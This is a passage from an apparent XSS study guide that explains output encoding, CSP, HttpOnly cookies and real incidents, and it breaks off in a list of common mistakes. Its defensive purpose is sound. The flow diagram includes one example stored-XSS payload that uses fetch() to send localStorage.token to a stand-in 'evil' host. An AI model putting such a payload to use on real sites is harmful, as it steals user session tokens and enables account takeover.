Root cause is always the same: **untrusted data interpreted as code** in some context. Defense = context-aware **output encoding** (HTML-escape into HTML, attribute-escape into attributes, JS-string-escape into scripts, URL-encode into URLs) — done by default in modern template engines (React JSX escapes by default; the escape hatches — `dangerouslySetInnerHTML`, `v-html`, `innerHTML` — are where bugs live). **CSP** (Content-Security-Policy) as the seatbelt: `script-src 'self' /nonces` blocks inline/foreign script even if injection lands. `HttpOnly` keeps session cookies unreadable by JS (limits, not prevents, XSS impact).

4. Packet Flow Explanation

```
stored XSS: attacker posts comment: <script>fetch('//evil/x?c='+
              localStorage.token)</script>
server stores raw -> victim loads page -> template inserts UNESCAPED
-> browser executes in YOUR origin -> JWT exfiltrated -> full account
defense stack at each step:
input: validate/limit (helper, not primary)
output: HTML-encode -> renders as harmless text <- the actual fix
CSP: script-src 'nonce-r4nd' -> injected inline script blocked anyway
storage: HttpOnly cookie -> nothing in localStorage to steal
```

5. ASCII Diagram

```
XSS = code injection into the ORIGIN => attacker becomes the user
stored (persisted, hits everyone) > reflected (per-link) > DOM (client-only)
defense layers: [output encoding per context] <- primary
                + [CSP nonce/allowlist]           <- contains failures
                + [HttpOnly cookies]               <- protects sessions
                + [framework defaults, sanitizers for rich HTML (DOMPurify)]
severity: XSS defeats CSRF defenses, reads tokens => XSS > CSRF
```

6. Real Production Example

MySpace Samy worm (2005 — 1M “friends” in a day; the canonical stored-XSS story); British Airways 2018 (Magecart script injection → 380k cards → record GDPR fine) showing modern XSS = payment skimming; persistent bug-bounty leader across Google/Meta programs. React-era regression vector: `dangerouslySetInnerHTML` with user markdown.

7. Advantages (of the modern defense posture)

Auto-escaping frameworks made the safe path the default path; CSP gives origin-wide containment independent of every template; the combination reduced XSS from “everywhere” to “at the escape hatches” — audits can focus there.

8. Trade-offs

Rich-HTML features (comments with formatting, WYSIWYG) require sanitizers (DOMPurify) — allowlist maintenance, parser edge cases; strict CSP breaks inline scripts/analytics (adoption cost, nonce plumbing); encoding must match context — one `innerHTML` in a million lines undoes it.

9. Common Mistakes

- Input validation as the primary defense (“we strip